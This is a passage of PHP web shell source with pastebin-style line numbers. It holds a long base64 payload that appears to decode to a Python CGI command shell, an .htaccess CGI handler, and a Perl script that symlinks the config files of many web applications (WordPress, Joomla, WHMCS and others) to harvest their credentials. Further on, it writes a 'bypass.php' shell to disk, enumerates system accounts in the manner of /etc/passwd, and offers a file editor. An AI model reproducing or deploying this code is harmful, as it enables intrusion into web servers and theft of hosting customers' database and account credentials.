m1sbGJHUmRMblpoYkhWbENpQWdJQ0FnSUNBZ0lDQWdJR1ZzYzJVNkNpQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNCMllXeDFaWE1nClBTQnRZWEFvYkdGdFltUmhJSGc2SUhndWRtRnNkV1VzSUhSb1pXWnZjbTFiWm1sbGJHUmRLU0FnSUNBZ0l5QmhiR3h2ZDNNZ1ptOXkKSUd4cGMzUWdkSGx3WlNCMllXeDFaWE1LSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJR1JoZEdGYlptbGxiR1JkSUQwZ2RtRnNkV1Z6Q2lBZwpJQ0J5WlhSMWNtNGdaR0YwWVFvS0NuUm9aV1p2Y20xb1pXRmtJRDBnSWlJaVBFaFVUVXcrUEVoRlFVUStQRlJKVkV4RlBtTm5hUzF6CmFHVnNiQzV3ZVNBdElHRWdRMGRKSUdKNUlFWjFlbnA1YldGdVBDOVVTVlJNUlQ0OEwwaEZRVVErQ2p4Q1QwUlpQanhEUlU1VVJWSSsKQ2p4SU1UNVhaV3hqYjIxbElIUnZJR05uYVMxemFHVnNiQzV3ZVNBdElEeENVajVoSUZCNWRHaHZiaUJEUjBrOEwwZ3hQZ284UWo0OApTVDVDZVNCR2RYcDZlVzFoYmp3dlFqNDhMMGsrUEVKU1Bnb2lJaUlyWm05dWRHeHBibVVnS3lKV1pYSnphVzl1SURvZ0lpQXJJSFpsCmNuTnBiMjV6ZEhKcGJtY2dLeUFpSWlJc0lGSjFibTVwYm1jZ2IyNGdPaUFpSWlJZ0t5QnpkSEptZEdsdFpTZ25KVWs2SlUwZ0pYQXMKSUNWQklDVmtJQ1ZDTENBbFdTY3BLeWN1UEM5RFJVNVVSVkkrUEVKU1BpY0tDblJvWldadmNtMGdQU0FpSWlJOFNESStSVzUwWlhJZwpRMjl0YldGdVpEd3ZTREkrQ2p4R1QxSk5JRTFGVkVoUFJEMWNJaUlpSWlBcklFMUZWRWhQUkNBcklDY2lJR0ZqZEdsdmJqMGlKeUFyCklITmpjbWx3ZEc1aGJXVWdLeUFpSWlKY0lqNEtQR2x1Y0hWMElHNWhiV1U5WTIxa0lIUjVjR1U5ZEdWNGRENDhRbEkrQ2p4cGJuQjEKZENCMGVYQmxQWE4xWW0xcGRDQjJZV3gxWlQwaVUzVmliV2wwSWo0OFFsSStDand2Ums5U1RUNDhRbEkrUEVKU1BpSWlJZ3BpYjJSNQpaVzVrSUQwZ0p6d3ZRazlFV1Q0OEwwaFVUVXcrSndwbGNuSnZjbTFsYzNNZ1BTQW5QRU5GVGxSRlVqNDhTREkrVTI5dFpYUm9hVzVuCklGZGxiblFnVjNKdmJtYzhMMGd5UGp4Q1VqNDhVRkpGUGljS0NpTWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWoKSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1LSXlCdFlXbHVJR0p2WkhrZ2IyWWdkR2hsSUhOagpjbWx3ZEFvS2FXWWdYMTl1WVcxbFgxOGdQVDBnSjE5ZmJXRnBibDlmSnpvS0lDQWdJSEJ5YVc1MElDSkRiMjUwWlc1MExYUjVjR1U2CklIUmxlSFF2YUhSdGJDSWdJQ0FnSUNBZ0lDQWpJSFJvYVhNZ2FYTWdkR2hsSUdobFlXUmxjaUIwYnlCMGFHVWdjMlZ5ZG1WeUNpQWcKSUNCd2NtbHVkQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJeUJ6YnlCcGN5QjBhR2x6SUdKcwpZVzVySUd4cGJtVUtJQ0FnSUdadmNtMGdQU0JqWjJrdVJtbGxiR1JUZEc5eVlXZGxLQ2tLSUNBZ0lHUmhkR0VnUFNCblpYUm1iM0p0CktGc25ZMjFrSjEwc1ptOXliU2tLSUNBZ0lIUm9aV050WkNBOUlHUmhkR0ZiSjJOdFpDZGRDaUFnSUNCd2NtbHVkQ0IwYUdWbWIzSnQKYUdWaFpBb2dJQ0FnY0hKcGJuUWdkR2hsWm05eWJRb2dJQ0FnYVdZZ2RHaGxZMjFrT2dvZ0lDQWdJQ0FnSUhCeWFXNTBJQ2M4U0ZJKwpQRUpTUGp4Q1VqNG5DaUFnSUNBZ0lDQWdjSEpwYm5RZ0p6eENQa052YlcxaGJtUWdPaUFuTENCMGFHVmpiV1FzSUNjOFFsSStQRUpTClBpY0tJQ0FnSUNBZ0lDQndjbWx1ZENBblVtVnpkV3gwSURvZ1BFSlNQanhDVWo0bkNpQWdJQ0FnSUNBZ2RISjVPZ29nSUNBZ0lDQWcKSUNBZ0lDQmphR2xzWkY5emRHUnBiaXdnWTJocGJHUmZjM1JrYjNWMElEMGdiM011Y0c5d1pXNHlLSFJvWldOdFpDa0tJQ0FnSUNBZwpJQ0FnSUNBZ1kyaHBiR1JmYzNSa2FXNHVZMnh2YzJVb0tRb2dJQ0FnSUNBZ0lDQWdJQ0J5WlhOMWJIUWdQU0JqYUdsc1pGOXpkR1J2CmRYUXVjbVZoWkNncENpQWdJQ0FnSUNBZ0lDQWdJR05vYVd4a1gzTjBaRzkxZEM1amJHOXpaU2dwQ2lBZ0lDQWdJQ0FnSUNBZ0lIQnkKYVc1MElISmxjM1ZzZEM1eVpYQnNZV05sS0NkY2JpY3NJQ2M4UWxJK0p5a0tDaUFnSUNBZ0lDQWdaWGhqWlhCMElFVjRZMlZ3ZEdsdgpiaXdnWlRvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJeUJoYmlCbGNuSnZjaUJwYmlCbGVHVmpkWFJwYm1jZ2RHaGxJR052CmJXMWhibVFLSUNBZ0lDQWdJQ0FnSUNBZ2NISnBiblFnWlhKeWIzSnRaWE56Q2lBZ0lDQWdJQ0FnSUNBZ0lHWWdQU0JUZEhKcGJtZEoKVHlncENpQWdJQ0FnSUNBZ0lDQWdJSEJ5YVc1MFgyVjRZeWhtYVd4bFBXWXBDaUFnSUNBZ0lDQWdJQ0FnSUdFZ1BTQm1MbWRsZEhaaApiSFZsS0NrdWMzQnNhWFJzYVc1bGN5Z3BDaUFnSUNBZ0lDQWdJQ0FnSUdadmNpQnNhVzVsSUdsdUlHRTZDaUFnSUNBZ0lDQWdJQ0FnCklDQWdJQ0J3Y21sdWRDQnNhVzVsQ2dvZ0lDQWdjSEpwYm5RZ1ltOWtlV1Z1WkFvS0NpSWlJZ3BVVDBSUEwwbFRVMVZGVXdvS0NncEQKU0VGT1IwVk1UMGNLQ2pBM0xUQTNMVEEwSUNBZ0lDQWdJQ0JXWlhKemFXOXVJREV1TUM0d0NrRWdkbVZ5ZVNCaVlYTnBZeUJ6ZVhOMApaVzBnWm05eUlHVjRaV04xZEdsdVp5QnphR1ZzYkNCamIyMXRZVzVrY3k0S1NTQnRZWGtnWlhod1lXNWtJR2wwSUdsdWRHOGdZU0J3CmNtOXdaWElnSjJWdWRtbHliMjV0Wlc1MEp5QjNhWFJvSUhObGMzTnBiMjRnY0dWeWMybHpkR1Z1WTJVdUxpNEtJaUlpJzsKCiRmaWxlID0gZm9wZW4oInB5dGhvbi5pem8iICwidysiKTsKJHdyaXRlID0gZndyaXRlICgkZmlsZSAsYmFzZTY0X2RlY29kZSgkcHl0aG9ucCkpOwpmY2xvc2UoJGZpbGUpOwogICAgY2htb2QoInB5dGhvbi5pem8iLDA3NTUpOwogICBlY2hvICI8aWZyYW1lIHNyYz1weXRob24vcHl0aG9uLml6byB3aWR0aD0xMDAlIGhlaWdodD0xMDAlIGZyYW1lYm9yZGVyPTA+PC9pZnJhbWU+ICI7Cn0KaWYgKGlzc2V0KCRfUE9TVFsnU3VibWl0MTEnXSkpCnsKICAgIG1rZGlyKCdhbGxjb25maWcnLCAwNzU1KTsKICAgIGNoZGlyKCdhbGxjb25maWcnKTsKICAgICAgICAka29rZG9zeWEgPSAiLmh0YWNjZXNzIjsKICAgICAgICAkZG9zeWFfYWRpID0gIiRrb2tkb3N5YSI7CiAgICAgICAgJGRvc3lhID0gZm9wZW4gKCRkb3N5YV9hZGkgLCAndycpIG9yIGRpZSAoIkRvc3lhIGHDp8SxbGFtYWTEsSEiKTsKICAgICAgICAkbWV0aW4gPSAiQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5pem8iOyAgICAKICAgICAgICBmd3JpdGUgKCAkZG9zeWEgLCAkbWV0aW4gKSA7CiAgICAgICAgZmNsb3NlICgkZG9zeWEpOwokY29uZmlnc2hlbGwgPSAnSXlFdmRYTnlMMkpwYmk5d1pYSnNJQzFKTDNWemNpOXNiMk5oYkM5aVlXNWtiV2x1Q25CeWFXNTBJQ0pEYjI1MFpXNTBMWFI1Y0dVNklIUmxlSFF2YUhSdGJGeHVYRzRpT3dwd2NtbHVkQ2M4SVVSUFExUlpVRVVnYUhSdGJDQlFWVUpNU1VNZ0lpMHZMMWN6UXk4dlJGUkVJRmhJVkUxTUlERXVNQ0JVY21GdWMybDBhVzl1WVd3dkwwVk9JaUFpYUhSMGNEb3ZMM2QzZHk1M015NXZjbWN2VkZJdmVHaDBiV3d4TDBSVVJDOTRhSFJ0YkRFdGRISmhibk5wZEdsdmJtRnNMbVIwWkNJK0NqeG9kRzFzSUhodGJHNXpQU0pvZEhSd09pOHZkM2QzTG5jekxtOXlaeTh4T1RrNUwzaG9kRzFzSWo0S1BHaGxZV1ErQ2p4dFpYUmhJR2gwZEhBdFpYRjFhWFk5SWtOdmJuUmxiblF0VEdGdVozVmhaMlVpSUdOdmJuUmxiblE5SW1WdUxYVnpJaUF2UGdvOGJXVjBZU0JvZEhSd0xXVnhkV2wyUFNKRGIyNTBaVzUwTFZSNWNHVWlJR052Ym5SbGJuUTlJblJsZUhRdmFIUnRiRHNnWTJoaGNuTmxkRDExZEdZdE9DSWdMejRLUEhScGRHeGxQbHQrWFNCTGVXMU1hbTVyTFNCYmZsMGdQQzkwYVhSc1pUNEtQSE4wZVd4bElIUjVjR1U5SW5SbGVIUXZZM056SWo0S0xtNWxkMU4wZVd4bE1TQjdDaUJtYjI1MExXWmhiV2xzZVRvZ1ZHRm9iMjFoT3dvZ1ptOXVkQzF6YVhwbE9pQjRMWE50WVd4c093b2dabTl1ZEMxM1pXbG5hSFE2SUdKdmJHUTdDaUJqYjJ4dmNqb2dJekF3UmtaR1Jqc0tJQ0IwWlhoMExXRnNhV2R1T2lCalpXNTBaWEk3Q24wS1BDOXpkSGxzWlQ0S1BDOW9aV0ZrUGdvbk93cHpkV0lnYkdsc2V3b2dJQ0FnS0NSMWMyVnlLU0E5SUVCZk93b2tiWE55SUQwZ2NYaDdjSGRrZlRzS0pHdHZiR0U5SkcxemNpNGlMeUl1SkhWelpYSTdDaVJyYjJ4aFBYNXpMMXh1THk5bk95QUtjM2x0YkdsdWF5Z25MMmh2YldVdkp5NGtkWE5sY2k0bkwzQjFZbXhwWTE5b2RHMXNMMmx1WTJ4MVpHVnpMMk52Ym1acFozVnlaUzV3YUhBbkxDUnJiMnhoTGljdGMyaHZjQzUwZUhRbktUc0tjM2x0YkdsdWF5Z25MMmh2YldVdkp5NGtkWE5sY2k0bkwzQjFZbXhwWTE5b2RHMXNMMkZ0WlcxaVpYSXZZMjl1Wm1sbkxtbHVZeTV3YUhBbkxDUnJiMnhoTGljdFlXMWxiV0psY2k1MGVIUW5LVHNLYzNsdGJHbHVheWduTDJodmJXVXZKeTRrZFhObGNpNG5MM0IxWW14cFkxOW9kRzFzTDJOdmJtWnBaeTVwYm1NdWNHaHdKeXdrYTI5c1lTNG5MV0Z0WlcxaVpYSXlMblI0ZENjcE93cHplVzFzYVc1cktDY3ZhRzl0WlM4bkxpUjFjMlZ5TGljdmNIVmliR2xqWDJoMGJXd3ZiV1Z0WW1WeWN5OWpiMjVtYVdkMWNtRjBhVzl1TG5Cb2NDY3NKR3R2YkdFdUp5MXRaVzFpWlhKekxuUjRkQ2NwT3dwemVXMXNhVzVyS0NjdmFHOXRaUzhuTGlSMWMyVnlMaWN2Y0hWaWJHbGpYMmgwYld3dlkyOXVabWxuTG5Cb2NDY3NKR3R2YkdFdUp6SXVkSGgwSnlrN0NuTjViV3hwYm1zb0p5OW9iMjFsTHljdUpIVnpaWEl1Snk5d2RXSnNhV05mYUhSdGJDOW1iM0oxYlM5cGJtTnNkV1JsY3k5amIyNW1hV2N1Y0dod0p5d2thMjlzWVM0bkxXWnZjblZ0TG5SNGRDY3BPd3B6ZVcxc2FXNXJLQ2N2YUc5dFpTOG5MaVIxYzJWeUxpY3ZjSFZpYkdsalgyaDBiV3d2WVdSdGFXNHZZMjl1Wmk1d2FIQW5MQ1JyYjJ4aExpYzFMblI0ZENjcE93cHplVzFzYVc1cktDY3ZhRzl0WlM4bkxpUjFjMlZ5TGljdmNIVmliR2xqWDJoMGJXd3ZZV1J0YVc0dlkyOXVabWxuTG5Cb2NDY3NKR3R2YkdFdUp6UXVkSGgwSnlrN0NuTjViV3hwYm1zb0p5OW9iMjFsTHljdUpIVnpaWEl1Snk5d2RXSnNhV05mYUhSdGJDOTNjQzFqYjI1bWFXY3VjR2h3Snl3a2EyOXNZUzRuTFhkd01UTXVkSGgwSnlrN0NuTjViV3hwYm1zb0p5OW9iMjFsTHljdUpIVnpaWEl1Snk5d2RXSnNhV05mYUhSdGJDOWliRzluTDNkd0xXTnZibVpwWnk1d2FIQW5MQ1JyYjJ4aExpY3RkM0F0WW14dlp5NTBlSFFuS1RzS2MzbHRiR2x1YXlnbkwyaHZiV1V2Snk0a2RYTmxjaTRuTDNCMVlteHBZMTlvZEcxc0wyTnZibVpmWjJ4dlltRnNMbkJvY0Njc0pHdHZiR0V1SnpZdWRIaDBKeWs3Q25ONWJXeHBibXNvSnk5b2IyMWxMeWN1SkhWelpYSXVKeTl3ZFdKc2FXTmZhSFJ0YkM5cGJtTnNkV1JsTDJSaUxuQm9jQ2NzSkd0dmJHRXVKemN1ZEhoMEp5azdDbk41Yld4cGJtc29KeTlvYjIxbEx5Y3VKSFZ6WlhJdUp5OXdkV0pzYVdOZmFIUnRiQzlqYjI1dVpXTjBMbkJvY0Njc0pHdHZiR0V1SnpndWRIaDBKeWs3Q25ONWJXeHBibXNvSnk5b2IyMWxMeWN1SkhWelpYSXVKeTl3ZFdKc2FXTmZhSFJ0YkM5dGExOWpiMjVtTG5Cb2NDY3NKR3R2YkdFdUp6a3VkSGgwSnlrN0NuTjViV3hwYm1zb0p5OW9iMjFsTHljdUpIVnpaWEl1Snk5d2RXSnNhV05mYUhSdGJDOXBibU5zZFdSbEwyTnZibVpwWnk1d2FIQW5MQ1JyYjJ4aExpY3hNaTUwZUhRbktUc0tjM2x0YkdsdWF5Z25MMmh2YldVdkp5NGtkWE5sY2k0bkwzQjFZbXhwWTE5b2RHMXNMMnB2YjIxc1lTOWpiMjVtYVdkMWNtRjBhVzl1TG5Cb2NDY3NKR3R2YkdFdUp5MXFiMjl0YkdFdWRIaDBKeWs3Q25ONWJXeHBibXNvSnk5b2IyMWxMeWN1SkhWelpYSXVKeTl3ZFdKc2FXTmZhSFJ0YkM5MllpOXBibU5zZFdSbGN5OWpiMjVtYVdjdWNHaHdKeXdrYTI5c1lTNG5MWFppTG5SNGRDY3BPd3B6ZVcxc2FXNXJLQ2N2YUc5dFpTOG5MaVIxYzJWeUxpY3ZjSFZpYkdsalgyaDBiV3d2YVc1amJIVmtaWE12WTI5dVptbG5MbkJvY0Njc0pHdHZiR0V1SnkxcGJtTnNkV1JsY3kxMllpNTBlSFFuS1RzS2MzbHRiR2x1YXlnbkwyaHZiV1V2Snk0a2RYTmxjaTRuTDNCMVlteHBZMTlvZEcxc0wzZG9iUzlqYjI1bWFXZDFjbUYwYVc5dUxuQm9jQ2NzSkd0dmJHRXVKeTEzYUcweE5TNTBlSFFuS1RzS2MzbHRiR2x1YXlnbkwyaHZiV1V2Snk0a2RYTmxjaTRuTDNCMVlteHBZMTlvZEcxc0wzZG9iV012WTI5dVptbG5kWEpoZEdsdmJpNXdhSEFuTENScmIyeGhMaWN0ZDJodFl6RTJMblI0ZENjcE93cHplVzFzYVc1cktDY3ZhRzl0WlM4bkxpUjFjMlZ5TGljdmNIVmliR2xqWDJoMGJXd3ZkMmh0WTNNdlkyOXVabWxuZFhKaGRHbHZiaTV3YUhBbkxDUnJiMnhoTGljdGQyaHRZM011ZEhoMEp5azdDbk41Yld4cGJtc29KeTlvYjIxbEx5Y3VKSFZ6WlhJdUp5OXdkV0pzYVdOZmFIUnRiQzl6ZFhCd2IzSjBMMk52Ym1acFozVnlZWFJwYjI0dWNHaHdKeXdrYTI5c1lTNG5MWE4xY0hCdmNuUXVkSGgwSnlrN0NuTjViV3hwYm1zb0p5OW9iMjFsTHljdUpIVnpaWEl1Snk5d2RXSnNhV05mYUhSdGJDOWpiMjVtYVdkMWNtRjBhVzl1TG5Cb2NDY3NKR3R2YkdFdUp6RjNhRzFqY3k1MGVIUW5LVHNLYzNsdGJHbHVheWduTDJodmJXVXZKeTRrZFhObGNpNG5MM0IxWW14cFkxOW9kRzFzTDNOMVltMXBkSFJwWTJ0bGRDNXdhSEFuTENScmIyeGhMaWN0ZDJodFkzTXlMblI0ZENjcE93cHplVzFzYVc1cktDY3ZhRzl0WlM4bkxpUjFjMlZ5TGljdmNIVmliR2xqWDJoMGJXd3ZZMnhwWlc1MGN5OWpiMjVtYVdkMWNtRjBhVzl1TG5Cb2NDY3NKR3R2YkdFdUp5MWpiR2xsYm5SekxuUjRkQ2NwT3dwemVXMXNhVzVyS0NjdmFHOXRaUzhuTGlSMWMyVnlMaWN2Y0hWaWJHbGpYMmgwYld3dlkyeHBaVzUwTDJOdmJtWnBaM1Z5WVhScGIyNHVjR2h3Snl3a2EyOXNZUzRuTFdOc2FXVnVkQzUwZUhRbktUc0tjM2x0YkdsdWF5Z25MMmh2YldVdkp5NGtkWE5sY2k0bkwzQjFZbXhwWTE5b2RHMXNMMk5zYVdWdWRHVnpMMk52Ym1acFozVnlZWFJwYjI0dWNHaHdKeXdrYTI5c1lTNG5MV05zYVdWdWRITXVkSGgwSnlrN0NuTjViV3hwYm1zb0p5OW9iMjFsTHljdUpIVnpaWEl1Snk5d2RXSnNhV05mYUhSdGJDOWlhV3hzYVc1bkwyTnZibVpwWjNWeVlYUnBiMjR1Y0dod0p5d2thMjlzWVM0bkxXSnBiR3hwYm1jdWRIaDBKeWs3SUFwemVXMXNhVzVyS0NjdmFHOXRaUzhuTGlSMWMyVnlMaWN2Y0hWaWJHbGpYMmgwYld3dmJXRnVZV2RsTDJOdmJtWnBaM1Z5WVhScGIyNHVjR2h3Snl3a2EyOXNZUzRuTFdKcGJHeHBibWN1ZEhoMEp5azdJQXB6ZVcxc2FXNXJLQ2N2YUc5dFpTOG5MaVIxYzJWeUxpY3ZjSFZpYkdsalgyaDBiV3d2YlhrdlkyOXVabWxuZFhKaGRHbHZiaTV3YUhBbkxDUnJiMnhoTGljdFltbHNiR2x1Wnk1MGVIUW5LVHNnQ25ONWJXeHBibXNvSnk5b2IyMWxMeWN1SkhWelpYSXVKeTl3ZFdKc2FXTmZhSFJ0YkM5dGVYTm9iM0F2WTI5dVptbG5kWEpoZEdsdmJpNXdhSEFuTENScmIyeGhMaWN0WW1sc2JHbHVaeTUwZUhRbktUc2dDbjBLYVdZZ0tDUkZUbFo3SjFKRlVWVkZVMVJmVFVWVVNFOUVKMzBnWlhFZ0oxQlBVMVFuS1NCN0NpQWdjbVZoWkNoVFZFUkpUaXdnSkdKMVptWmxjaXdnSkVWT1Zuc25RMDlPVkVWT1ZGOU1SVTVIVkVnbmZTazdDbjBnWld4elpTQjdDaUFnSkdKMVptWmxjaUE5SUNSRlRsWjdKMUZWUlZKWlgxTlVVa2xPUnlkOU93cDlDa0J3WVdseWN5QTlJSE53YkdsMEtDOG1MeXdnSkdKMVptWmxjaWs3Q21admNtVmhZMmdnSkhCaGFYSWdLRUJ3WVdseWN5a2dld29nSUNna2JtRnRaU3dnSkhaaGJIVmxLU0E5SUhOd2JHbDBLQzg5THl3Z0pIQmhhWElwT3dvZ0lDUnVZVzFsSUQxK0lIUnlMeXN2SUM4N0NpQWdKRzVoYldVZ1BYNGdjeThsS0Z0aExXWkJMVVl3TFRsZFcyRXRaa0V0UmpBdE9WMHBMM0JoWTJzb0lrTWlMQ0JvWlhnb0pERXBLUzlsWnpzS0lDQWtkbUZzZFdVZ1BYNGdkSEl2S3k4Z0x6c0tJQ0FrZG1Gc2RXVWdQWDRnY3k4bEtGdGhMV1pCTFVZd0xUbGRXMkV0WmtFdFJqQXRPVjBwTDNCaFkyc29Ja01pTENCb1pYZ29KREVwS1M5bFp6c0tJQ0FrUms5U1RYc2tibUZ0WlgwZ1BTQWtkbUZzZFdVN0NuMEthV1lnS0NSR1QxSk5lM0JoYzNOOUlHVnhJQ0lpS1hzS2NISnBiblFnSndvOFltOWtlU0JqYkdGemN6MGlibVYzVTNSNWJHVXhJaUJpWjJOdmJHOXlQU0lqTURBd01EQXdJajRLUEhBK1UzbHRiR3B1YXlCaGJHd2dZMjl1Wm1sblBDOXdQZ284Y0Q0S1BHWnZiblFnWTI5c2IzSTlJaU5ETUVNd1F6QWlQbU5oZENBdlpYUmpMM0JoYzNOM1pEd3ZabTl1ZEQ0OEwzQStDanhtYjNKdElHMWxkR2h2WkQwaWNHOXpkQ0krQ2p4MFpYaDBZWEpsWVNCdVlXMWxQU0p3WVhOeklpQnpkSGxzWlQwaVltOXlaR1Z5T2pGd2VDQmtiM1IwWldRZ0l6QXdSa1pHUmpzZ2QybGtkR2c2SURVME0zQjRPeUJvWldsbmFIUTZJRFF5TUhCNE95QmlZV05yWjNKdmRXNWtMV052Ykc5eU9pTXdRekJETUVNN0lHWnZiblF0Wm1GdGFXeDVPbFJoYUc5dFlUc2dabTl1ZEMxemFYcGxPamh3ZERzZ1kyOXNiM0k2SXpBd1JrWkdSaUlnSUQ0OEwzUmxlSFJoY21WaFBqeGljaUF2UGdvbWJtSnpjRHM4Y0Q0S1BHbHVjSFYwSUc1aGJXVTlJblJoY2lJZ2RIbHdaVDBpZEdWNGRDSWdjM1I1YkdVOUltSnZjbVJsY2pveGNIZ2daRzkwZEdWa0lDTXdNRVpHUmtZN0lIZHBaSFJvT2lBeU1USndlRHNnWW1GamEyZHliM1Z1WkMxamIyeHZjam9qTUVNd1F6QkRPeUJtYjI1MExXWmhiV2xzZVRwVVlXaHZiV0U3SUdadmJuUXRjMmw2WlRvNGNIUTdJR052Ykc5eU9pTXdNRVpHUmtZN0lDSWdJQzgrUEdKeUlDOCtDaVp1WW5Od096d3ZjRDRLUEhBK0NqeHBibkIxZENCdVlXMWxQU0pUZFdKdGFYUXhJaUIwZVhCbFBTSnpkV0p0YVhRaUlIWmhiSFZsUFNKSFpYUWdRMjl1Wm1sbklpQnpkSGxzWlQwaVltOXlaR1Z5T2pGd2VDQmtiM1IwWldRZ0l6QXdSa1pHUmpzZ2QybGtkR2c2SURrNU95Qm1iMjUwTFdaaGJXbHNlVHBVWVdodmJXRTdJR1p2Ym5RdGMybDZaVG94TUhCME95QmpiMnh2Y2pvak1EQkdSa1pHT3lCMFpYaDBMWFJ5WVc1elptOXliVHAxY0hCbGNtTmhjMlU3SUdobGFXZG9kRG95TXpzZ1ltRmphMmR5YjNWdVpDMWpiMnh2Y2pvak1FTXdRekJESWlBdlBqd3ZjRDRLUEM5bWIzSnRQaWM3Q24xbGJITmxld3BBYkdsdVpYTWdQVHdrUms5U1RYdHdZWE56ZlQ0N0NpUjVJRDBnUUd4cGJtVnpPd3B2Y0dWdUlDaE5XVVpKVEVVc0lDSStkR0Z5TG5SdGNDSXBPd3B3Y21sdWRDQk5XVVpKVEVVZ0luUmhjaUF0WTNwbUlDSXVKRVpQVWsxN2RHRnlmUzRpTG5SaGNpQWlPd3BtYjNJZ0tDUnJZVDB3T3lScllUd2tlVHNrYTJFckt5bDdDbmRvYVd4bEtFQnNhVzVsYzFza2EyRmRJQ0E5ZmlCdEx5Z3VLajhwT25nNkwyY3Bld29tYkdsc0tDUXhLVHNLY0hKcGJuUWdUVmxHU1V4RklDUXhMaUl1ZEhoMElDSTdDbVp2Y2lna2EyUTlNVHNrYTJROE1UZzdKR3RrS3lzcGV3cHdjbWx1ZENCTldVWkpURVVnSkRFdUpHdGtMaUl1ZEhoMElDSTdDbjBLZlFvZ2ZRcHdjbWx1ZENjOFltOWtlU0JqYkdGemN6MGlibVYzVTNSNWJHVXhJaUJpWjJOdmJHOXlQU0lqTURBd01EQXdJajRLUEhBK1JHOXVaU0FoSVR3dmNENEtQSEErSm01aWMzQTdQQzl3UGljN0NtbG1LQ1JHVDFKTmUzUmhjbjBnYm1VZ0lpSXBld3B2Y0dWdUtFbE9SazhzSUNKMFlYSXVkRzF3SWlrN0NrQnNhVzVsY3lBOVBFbE9SazgrSURzS1kyeHZjMlVvU1U1R1R5azdDbk41YzNSbGJTaEFiR2x1WlhNcE93cHdjbWx1ZENjOGNENDhZU0JvY21WbVBTSW5MaVJHVDFKTmUzUmhjbjB1Snk1MFlYSWlQanhtYjI1MElHTnZiRzl5UFNJak1EQkdSakF3SWo0S1BITndZVzRnYzNSNWJHVTlJblJsZUhRdFpHVmpiM0poZEdsdmJqb2dibTl1WlNJK1EyeHBZMnNnU0dWeVpTQlVieUJFYjNkdWJHOWhaQ0JVWVhJZ1JtbHNaVHd2YzNCaGJqNDhMMlp2Ym5RK1BDOWhQand2Y0Q0bk93cDlDbjBLSUhCeWFXNTBJZ284TDJKdlpIaytDand2YUhSdGJENGlPdz09JzsKCiRmaWxlID0gZm9wZW4oImNvbmZpZy5pem8iICwidysiKTsKJHdyaXRlID0gZndyaXRlICgkZmlsZSAsYmFzZTY0X2RlY29kZSgkY29uZmlnc2hlbGwpKTsKZmNsb3NlKCRmaWxlKTsKICAgIGNobW9kKCJjb25maWcuaXpvIiwwNzU1KTsKICAgZWNobyAiPGlmcmFtZSBzcmM9YWxsY29uZmlnL2NvbmZpZy5pem8gd2lkdGg9MTAwJSBoZWlnaHQ9MTAwJSBmcmFtZWJvcmRlcj0wPjwvaWZyYW1lPiAiOwp9Cj8+CiAgPHRyPgogICAgPHRkPjx0YWJsZSB3aWR0aD0nMTAwJScgaGVpZ2h0PScxNzMnPgogICAgICA8dHI+CiAgICAgICAgPHRoIGNsYXNzPSd0ZCcgc3R5bGU9J2JvcmRlci1ib3R0b20td2lkdGg6dGhpbjtib3JkZXItdG9wLXdpZHRoOnRoaW4nPjxkaXYgYWxpZ249J3JpZ2h0Jz48c3BhbiBjbGFzcz0nc3R5bGUxJz5Ub29scyA6PC9zcGFuPjwvZGl2PjwvdGg+CiAgICAgICAgPHRkIGNsYXNzPSd0ZCcgc3R5bGU9J2JvcmRlci1ib3R0b20td2lkdGg6dGhpbjtib3JkZXItdG9wLXdpZHRoOnRoaW4nPjxmb3JtIG5hbWU9J0YxJyBtZXRob2Q9J3Bvc3QnPgogICAgICAgICAgICA8ZGl2IGFsaWduPSdsZWZ0Jz4KICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdTdWJtaXQxMCcgIHZhbHVlPSdCeSBQYXNzIFN5bS5UYXInPgogICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J1N1Ym1pdDExJyB2YWx1ZT0nYWxsIGNvbmZpZyc+CgkJCSAgPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nU3VibWl0MTInIHZhbHVlPSdzeW1sam5rIHVzZXInPgoJCQkgIDxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J1N1Ym1pdDEzJyB2YWx1ZT0nQ2dpIHRlbG5ldCc+CgkJCSAgPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nU3VibWl0MTQnIHZhbHVlPSdQeXRob24nPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Zvcm0+PC90ZD4KICAgICAgPC90cj4KICAgPHRyPgogICAKPC9ib2R5Pgo8L2h0bWw+';
  1230. $file = fopen("bypass.php" ,"w+");
  1231. $write = fwrite ($file ,base64_decode($perltoolss));
  1232. fclose($file);
  1233.    echo "<iframe src=bypass.php width=100% height=720px frameborder=0></iframe> ";
  1234. }//end bypass
  1235. // Brute
  1236. elseif ($action == 'etcpwd') {
  1237. formhead(array('title'=>'Get /etc/passwd'));
  1238.         makehide('action','etcpwd');
  1239.         makehide('dir',$nowpath);
  1240. $i = 0;
  1241.  echo "<p><br><textarea class=\"area\" id=\"phpcodexxx\" name=\"phpcodexxx\" cols=\"100\" rows=\"25\">";
  1242. while ($i < 60000) {
  1243.     $line = posix_getpwuid($i);
  1244.     if (!empty($line)) {
  1245.         while (list ($key, $vba_etcpwd) = each($line)){
  1246.             echo "".$vba_etcpwd."\n";
  1247.             break;
  1248.         }
  1249.     }
  1250.    $i++;
  1251. }
  1252.   echo "</textarea></p>";
  1253.         formfoot();
  1254. }
  1255. //end command
  1256. //end change pas
  1257. elseif ($action == 'editfile') {
  1258.         if(file_exists($opfile)) {
  1259.                 $fp=@fopen($opfile,'r');
  1260.                 $contents=@fread($fp, filesize($opfile));
  1261.                 @fclose($fp);
  1262.                 $contents=htmlspecialchars($contents);
  1263.         }
  1264.         formhead(array('title'=>'Create / Edit File'));
  1265.         makehide('action','file');
  1266.         makehide('dir',$nowpath);
  1267.         makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
  1268.         maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
  1269.         formfooter();
  1270. }//end editfile
  1271. elseif ($action == 'newtime') {
  1272.         $opfilemtime = @filemtime($opfile);
